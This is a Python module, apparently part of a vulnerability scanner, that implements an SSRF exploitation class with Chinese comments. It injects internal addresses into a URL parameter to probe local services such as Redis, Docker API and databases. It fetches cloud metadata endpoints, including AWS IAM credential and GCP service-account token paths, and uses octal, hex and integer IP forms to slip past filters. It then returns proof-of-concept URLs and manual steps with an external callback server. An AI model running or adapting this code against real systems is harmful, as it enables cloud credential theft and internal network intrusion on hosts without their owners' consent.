527 lines
22 KiB
Python
527 lines
22 KiB
Python
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#!/usr/bin/env python
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# -*- coding: utf-8 -*-
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"""
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SSRF（服务器端请求伪造）漏洞利用模块
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"""
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import logging
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import re
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import urllib.parse
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import random
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import string
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import socket
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import json
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import ipaddress
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logger = logging.getLogger('xss_scanner')
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class SSRFExploit:
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"""SSRF漏洞利用类"""
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def __init__(self, http_client):
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"""
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初始化SSRF漏洞利用模块
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Args:
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http_client: HTTP客户端对象
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"""
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self.http_client = http_client
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# 内部服务目标
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self.internal_targets = [
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"127.0.0.1", # 本地主机
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"localhost", # 本地主机
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"0.0.0.0", # 任意地址
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"10.0.0.0/8", # 私有IP A类
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"172.16.0.0/12", # 私有IP B类
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"192.168.0.0/16", # 私有IP C类
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"169.254.169.254", # AWS元数据服务
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"metadata.google.internal", # GCP元数据
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"100.100.100.200", # 阿里云元数据
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"169.254.169.254", # Azure元数据
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"127.0.0.1:25", # SMTP
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"127.0.0.1:22", # SSH
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"127.0.0.1:1433", # MS SQL
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"127.0.0.1:3306", # MySQL
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"127.0.0.1:5432", # PostgreSQL
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"127.0.0.1:6379", # Redis
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"127.0.0.1:9200", # Elasticsearch
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"127.0.0.1:11211", # Memcached
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"127.0.0.1:27017", # MongoDB
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"127.0.0.1:8500", # Consul
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"127.0.0.1:2375", # Docker API
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"127.0.0.1:8080", # 常见Web服务
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"127.0.0.1:8000", # 常见Web服务
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"127.0.0.1:5000", # 常见Web服务
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"127.0.0.1:3000" # 常见Web服务
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]
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# 内部服务路径
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self.service_paths = {
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"redis": ["/", ""],
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"mysql": ["/", ""],
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"elasticsearch": ["/", "/_cat/indices", "/_cluster/health"],
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"mongodb": ["/", "/stats"],
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"memcached": ["/", ""],
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"docker": ["/", "/images/json", "/containers/json"],
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"etcd": ["/", "/v2/keys", "/v2/members"],
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"consul": ["/v1/catalog/services", "/v1/agent/self"],
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"kubernetes": ["/api/v1/pods", "/api/v1/namespaces"]
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}
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# 云服务商元数据URL
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self.cloud_metadata_urls = {
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"aws": [
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"http://169.254.169.254/latest/meta-data/",
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"http://169.254.169.254/latest/meta-data/local-hostname",
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"http://169.254.169.254/latest/meta-data/public-hostname",
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"http://169.254.169.254/latest/meta-data/local-ipv4",
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"http://169.254.169.254/latest/meta-data/public-ipv4",
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"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
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],
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"gcp": [
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"http://metadata.google.internal/computeMetadata/v1/",
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"http://metadata.google.internal/computeMetadata/v1/instance/hostname",
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"http://metadata.google.internal/computeMetadata/v1/instance/id",
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"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
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],
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"azure": [
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"http://169.254.169.254/metadata/instance?api-version=2019-06-01",
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"http://169.254.169.254/metadata/instance/compute?api-version=2019-06-01"
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],
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"alibaba": [
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"http://100.100.100.200/latest/meta-data/",
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"http://100.100.100.200/latest/meta-data/instance-id",
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"http://100.100.100.200/latest/meta-data/region-id"
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]
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}
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# IP替代表示法
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self.ip_alternative_forms = {
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"127.0.0.1": [
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"localhost",
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"127.0.1",
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"127.1",
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"2130706433", # 十进制表示
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"0x7f000001", # 十六进制表示
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"0177.0.0.01", # 八进制表示
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"0177.0.0.1",
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"0177.0.1",
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"0177.1",
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"::1", # IPv6表示
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"::ffff:127.0.0.1", # IPv6 映射
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"[::1]",
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"[::ffff:127.0.0.1]",
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"1278.1.1.1"
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]
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}
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# SSRF绕过技术
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self.ssrf_bypasses = [
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"@", # URL认证绕过（user:pass@host）
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"#", # URL片段
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"?", # URL查询参数
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"%23", # URL编码的#
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"%3F", # URL编码的?
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"\r\n", # CRLF注入
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"%0D%0A", # URL编码的CRLF
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"/.", # 目录遍历
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"//" # 双斜杠
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]
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# 常见参数名
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self.common_parameters = [
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"url",
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"uri",
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"link",
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"src",
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"source",
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"redirect",
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"redirect_to",
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"image",
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"img",
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"file",
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"download",
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"upload",
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"domain",
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"host",
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"port",
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"callback",
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"return",
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"return_to",
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"next",
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"target",
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"feed",
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"fetch",
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"site",
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"html",
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"page",
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"data",
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"reference",
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"reference_url"
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]
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def exploit(self, vulnerability):
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"""
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利用SSRF漏洞
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Args:
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vulnerability: 漏洞信息
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Returns:
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dict: 利用结果
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"""
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logger.info(f"尝试利用SSRF漏洞: {vulnerability['url']}")
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url = vulnerability.get('url')
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parameter = vulnerability.get('parameter')
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payload = vulnerability.get('payload', '')
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if not url or not parameter:
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return {
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'success': False,
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'message': '缺少必要的漏洞信息(URL或参数名)',
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'data': None
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}
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# 尝试探测内部服务
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internal_services = []
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successful_payloads = []
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# 生成随机标记用于OAST（带外应用安全测试）
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verification_id = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
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oast_domain = f"ssrf-{verification_id}.example.com"
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oast_url = f"http://{oast_domain}/"
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logger.info(f"生成的OAST域名: {oast_domain}")
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# 0. 首先尝试OAST探测（如果有真实的回调服务器）
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if hasattr(self, 'callback_server') and self.callback_server:
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logger.info("尝试使用OAST检测SSRF漏洞")
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result = self._try_oast_detection(url, parameter, oast_url)
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if result and result['success']:
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return result
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# 1. 尝试本地服务
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logger.info("尝试探测本地服务")
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for target in self.internal_targets[:5]: # 只尝试前5个目标
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# 基本请求
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result = self._try_internal_service(url, parameter, f"http://{target}")
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if result and result['success']:
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internal_services.append(result['data']['target'])
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successful_payloads.append(result['data']['payload'])
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logger.info(f"发现可访问的内部服务: {target}")
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# 尝试一些端口，如果目标是IP地址
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if re.match(r"^\d+\.\d+\.\d+\.\d+$", target):
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for port in [80, 8080, 8000, 5000, 3000, 22, 6379]:
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result = self._try_internal_service(url, parameter, f"http://{target}:{port}")
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if result and result['success']:
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internal_services.append(f"{target}:{port}")
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successful_payloads.append(result['data']['payload'])
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logger.info(f"发现可访问的内部服务: {target}:{port}")
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# 2. 尝试云服务商元数据
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logger.info("尝试探测云服务商元数据")
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cloud_metadata = {}
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for provider, urls in self.cloud_metadata_urls.items():
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for metadata_url in urls[:2]: # 只尝试前2个URL
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result = self._try_internal_service(url, parameter, metadata_url)
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if result and result['success']:
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if provider not in cloud_metadata:
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cloud_metadata[provider] = []
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cloud_metadata[provider].append({
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'url': metadata_url,
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'response': result['data'].get('response', ''),
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'payload': result['data']['payload']
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})
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successful_payloads.append(result['data']['payload'])
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logger.info(f"发现可访问的云服务商元数据: {metadata_url}")
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# 3. 尝试一些IP替代表示法绕过手段（针对localhost）
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logger.info("尝试使用IP替代表示法绕过")
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for alt_ip in self.ip_alternative_forms["127.0.0.1"][:5]: # 只尝试前5个替代表示
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result = self._try_internal_service(url, parameter, f"http://{alt_ip}")
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if result and result['success']:
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internal_services.append(alt_ip)
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successful_payloads.append(result['data']['payload'])
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logger.info(f"通过IP替代表示法可访问本地服务: {alt_ip}")
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# 编译结果
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if internal_services or cloud_metadata:
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logger.info(f"SSRF利用成功，发现 {len(internal_services)} 个内部服务和 {len(cloud_metadata)} 个云服务商元数据")
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# 选择一个最可靠的有效载荷作为PoC
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poc_payload = successful_payloads[0] if successful_payloads else payload
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# 构建 PoC URL
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parsed_url = urllib.parse.urlparse(url)
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query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
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query_params[parameter] = poc_payload
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new_query = urllib.parse.urlencode(query_params)
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poc_url = urllib.parse.urlunparse((
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parsed_url.scheme,
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parsed_url.netloc,
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parsed_url.path,
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parsed_url.params,
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new_query,
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parsed_url.fragment
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))
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return {
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'success': True,
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'message': 'SSRF漏洞利用成功',
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'data': {
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'internal_services': internal_services,
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'cloud_metadata': cloud_metadata,
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'successful_payloads': successful_payloads
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},
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'poc': poc_url
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}
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else:
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# 如果没有直接成功，返回手动验证步骤
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logger.info("无法自动确认SSRF漏洞，提供手动验证步骤")
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return {
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'success': False,
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'message': '未能自动确认SSRF漏洞，但可能存在，请尝试手动验证',
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'data': {
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'parameter': parameter,
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'url': url,
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'oast_domain': oast_domain
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},
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'manual_steps': [
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"1. 设置一个你控制的外部Web服务器，记录所有接收到的请求",
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f"2. 构造URL: {url}?{parameter}=http://your-server.com/ssrf-test",
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"3. 如果你的服务器收到来自目标服务器的请求，则确认存在SSRF漏洞",
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"4. 尝试以下内部服务目标进行测试:",
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" - http://localhost/",
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" - http://127.0.0.1:8080/",
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" - http://169.254.169.254/latest/meta-data/ (AWS元数据)",
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"5. 尝试以下绕过技术:",
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" - http://0177.0.0.1/ (八进制IP)",
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" - http://0x7f000001/ (十六进制IP)",
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" - http://2130706433/ (整数IP)"
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]
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}
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def _try_internal_service(self, url, parameter, target_url):
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"""
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尝试通过SSRF访问内部服务
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Args:
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url: 目标URL
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parameter: 参数名
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target_url: 要访问的内部服务URL
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Returns:
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dict: 利用结果
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"""
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try:
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logger.info(f"尝试访问内部服务: {target_url}")
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# 构建SSRF测试URL
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parsed_url = urllib.parse.urlparse(url)
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query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
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query_params[parameter] = target_url
|
|||
|
|
|
|||
|
|
# 重建查询字符串
|
|||
|
|
new_query = urllib.parse.urlencode(query_params)
|
|||
|
|
new_url = urllib.parse.urlunparse((
|
|||
|
|
parsed_url.scheme,
|
|||
|
|
parsed_url.netloc,
|
|||
|
|
parsed_url.path,
|
|||
|
|
parsed_url.params,
|
|||
|
|
new_query,
|
|||
|
|
parsed_url.fragment
|
|||
|
|
))
|
|||
|
|
|
|||
|
|
# 发送请求
|
|||
|
|
response = self.http_client.get(new_url)
|
|||
|
|
|
|||
|
|
# 检查响应，查找SSRF成功的迹象
|
|||
|
|
if response and response.status_code == 200:
|
|||
|
|
response_text = response.text
|
|||
|
|
|
|||
|
|
# 检查常见的SSRF成功迹象
|
|||
|
|
success_indicators = self._get_service_indicators(target_url)
|
|||
|
|
for indicator in success_indicators:
|
|||
|
|
if indicator in response_text:
|
|||
|
|
logger.info(f"内部服务访问成功，找到特征: {indicator}")
|
|||
|
|
return {
|
|||
|
|
'success': True,
|
|||
|
|
'message': f'成功利用SSRF漏洞访问内部服务: {target_url}',
|
|||
|
|
'data': {
|
|||
|
|
'target': target_url,
|
|||
|
|
'parameter': parameter,
|
|||
|
|
'payload': target_url,
|
|||
|
|
'indicator': indicator,
|
|||
|
|
'response': response_text[:200] + ('...' if len(response_text) > 200 else '')
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
# 如果没有找到明确的特征，检查是否有其他常见服务标识
|
|||
|
|
if any(keyword in response_text.lower() for keyword in [
|
|||
|
|
'apache', 'nginx', 'iis', 'server', 'service', 'redis', 'mysql',
|
|||
|
|
'postgresql', 'mongodb', 'memcached', 'elasticsearch', 'forbidden', 'unauthorized',
|
|||
|
|
'401', '403', 'authentication', 'password', 'login', 'admin', 'root', 'error',
|
|||
|
|
'<title>', '<html>', 'json', 'xml', 'internal'
|
|||
|
|
]):
|
|||
|
|
logger.info(f"内部服务可能可以访问，发现常见服务标识")
|
|||
|
|
return {
|
|||
|
|
'success': True,
|
|||
|
|
'message': f'可能成功利用SSRF漏洞访问内部服务: {target_url}',
|
|||
|
|
'data': {
|
|||
|
|
'target': target_url,
|
|||
|
|
'parameter': parameter,
|
|||
|
|
'payload': target_url,
|
|||
|
|
'response': response_text[:200] + ('...' if len(response_text) > 200 else '')
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
# 如果HTTP状态码不是404，可能成功了
|
|||
|
|
if response.status_code not in [404, 400, 500]:
|
|||
|
|
logger.info(f"内部服务响应了非错误状态码: {response.status_code}")
|
|||
|
|
return {
|
|||
|
|
'success': True,
|
|||
|
|
'message': f'可能成功利用SSRF漏洞访问内部服务: {target_url}',
|
|||
|
|
'data': {
|
|||
|
|
'target': target_url,
|
|||
|
|
'parameter': parameter,
|
|||
|
|
'payload': target_url,
|
|||
|
|
'status_code': response.status_code,
|
|||
|
|
'response': response_text[:200] + ('...' if len(response_text) > 200 else '')
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
except Exception as e:
|
|||
|
|
logger.error(f"尝试访问内部服务时出错: {str(e)}")
|
|||
|
|
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
def _try_oast_detection(self, url, parameter, callback_url):
|
|||
|
|
"""
|
|||
|
|
尝试使用OAST（带外应用安全测试）检测SSRF
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
url: 目标URL
|
|||
|
|
parameter: 参数名
|
|||
|
|
callback_url: 回调URL
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
dict: 利用结果
|
|||
|
|
"""
|
|||
|
|
try:
|
|||
|
|
logger.info(f"尝试OAST检测SSRF: {callback_url}")
|
|||
|
|
|
|||
|
|
# 构建SSRF测试URL
|
|||
|
|
parsed_url = urllib.parse.urlparse(url)
|
|||
|
|
query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
|
|||
|
|
query_params[parameter] = callback_url
|
|||
|
|
|
|||
|
|
# 重建查询字符串
|
|||
|
|
new_query = urllib.parse.urlencode(query_params)
|
|||
|
|
new_url = urllib.parse.urlunparse((
|
|||
|
|
parsed_url.scheme,
|
|||
|
|
parsed_url.netloc,
|
|||
|
|
parsed_url.path,
|
|||
|
|
parsed_url.params,
|
|||
|
|
new_query,
|
|||
|
|
parsed_url.fragment
|
|||
|
|
))
|
|||
|
|
|
|||
|
|
# 发送请求
|
|||
|
|
response = self.http_client.get(new_url)
|
|||
|
|
|
|||
|
|
# 检查回调服务器是否收到请求（假设实现）
|
|||
|
|
# 注意：这需要真实的回调服务器实现
|
|||
|
|
if hasattr(self, 'check_callback') and self.check_callback(callback_url):
|
|||
|
|
logger.info(f"检测到OAST回调，确认SSRF漏洞")
|
|||
|
|
return {
|
|||
|
|
'success': True,
|
|||
|
|
'message': '通过OAST成功确认SSRF漏洞',
|
|||
|
|
'data': {
|
|||
|
|
'callback_url': callback_url,
|
|||
|
|
'parameter': parameter
|
|||
|
|
},
|
|||
|
|
'poc': new_url
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
except Exception as e:
|
|||
|
|
logger.error(f"尝试OAST检测时出错: {str(e)}")
|
|||
|
|
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
def _get_service_indicators(self, target_url):
|
|||
|
|
"""
|
|||
|
|
获取目标服务的特征指标
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
target_url: 目标服务URL
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
list: 特征指标列表
|
|||
|
|
"""
|
|||
|
|
indicators = []
|
|||
|
|
|
|||
|
|
# 提取主机和路径
|
|||
|
|
try:
|
|||
|
|
parsed_url = urllib.parse.urlparse(target_url)
|
|||
|
|
host = parsed_url.netloc.split(':')[0]
|
|||
|
|
path = parsed_url.path
|
|||
|
|
|
|||
|
|
# AWS元数据服务特征
|
|||
|
|
if host == '169.254.169.254':
|
|||
|
|
indicators = ['ami-id', 'instance-id', 'instance-type', 'local-hostname',
|
|||
|
|
'local-ipv4', 'public-hostname', 'public-ipv4', 'security-credentials']
|
|||
|
|
|
|||
|
|
# GCP元数据服务特征
|
|||
|
|
elif host == 'metadata.google.internal':
|
|||
|
|
indicators = ['instance', 'attributes', 'service-accounts', 'project',
|
|||
|
|
'hostname', 'image', 'machine-type']
|
|||
|
|
|
|||
|
|
# Azure元数据服务特征
|
|||
|
|
elif host == '169.254.169.254' and 'metadata' in path:
|
|||
|
|
indicators = ['vmId', 'compute', 'network', 'osType', 'location',
|
|||
|
|
'resourceGroupName', 'apiVersion']
|
|||
|
|
|
|||
|
|
# 阿里云元数据服务特征
|
|||
|
|
elif host == '100.100.100.200':
|
|||
|
|
indicators = ['instance-id', 'region-id', 'zone-id', 'vpc-id',
|
|||
|
|
'private-ipv4']
|
|||
|
|
|
|||
|
|
# Redis服务特征
|
|||
|
|
elif host == '127.0.0.1' and '6379' in target_url:
|
|||
|
|
indicators = ['redis_version', 'connected_clients', 'PONG', 'ERR',
|
|||
|
|
'NOAUTH', 'AUTH']
|
|||
|
|
|
|||
|
|
# MySQL服务特征
|
|||
|
|
elif host == '127.0.0.1' and '3306' in target_url:
|
|||
|
|
indicators = ['mysql', 'SQL', 'MariaDB', 'syntax', 'Access denied',
|
|||
|
|
'error', 'server version']
|
|||
|
|
|
|||
|
|
# Elasticsearch服务特征
|
|||
|
|
elif host == '127.0.0.1' and ('9200' in target_url or 'elasticsearch' in target_url):
|
|||
|
|
indicators = ['cluster_name', 'nodes', 'shards', 'indices', 'lucene_version',
|
|||
|
|
'version', 'elasticsearch']
|
|||
|
|
|
|||
|
|
# MongoDB服务特征
|
|||
|
|
elif host == '127.0.0.1' and '27017' in target_url:
|
|||
|
|
indicators = ['mongodb', 'databases', 'collections', 'command',
|
|||
|
|
'assertion', 'not authorized']
|
|||
|
|
|
|||
|
|
# Docker API特征
|
|||
|
|
elif host == '127.0.0.1' and ('2375' in target_url or 'docker' in target_url):
|
|||
|
|
indicators = ['containers', 'images', 'volumes', 'version',
|
|||
|
|
'docker', 'Config', 'Id', 'Name']
|
|||
|
|
|
|||
|
|
# Web服务器标识
|
|||
|
|
else:
|
|||
|
|
indicators = ['apache', 'nginx', 'iis', 'server', 'web server', 'title',
|
|||
|
|
'html', 'body', 'login', 'admin', 'index', 'welcome',
|
|||
|
|
'404', '403', '401', '500', 'error', 'not found', 'forbidden']
|
|||
|
|
|
|||
|
|
except Exception as e:
|
|||
|
|
logger.error(f"获取服务特征指标时出错: {str(e)}")
|
|||
|
|
|
|||
|
|
return indicators
|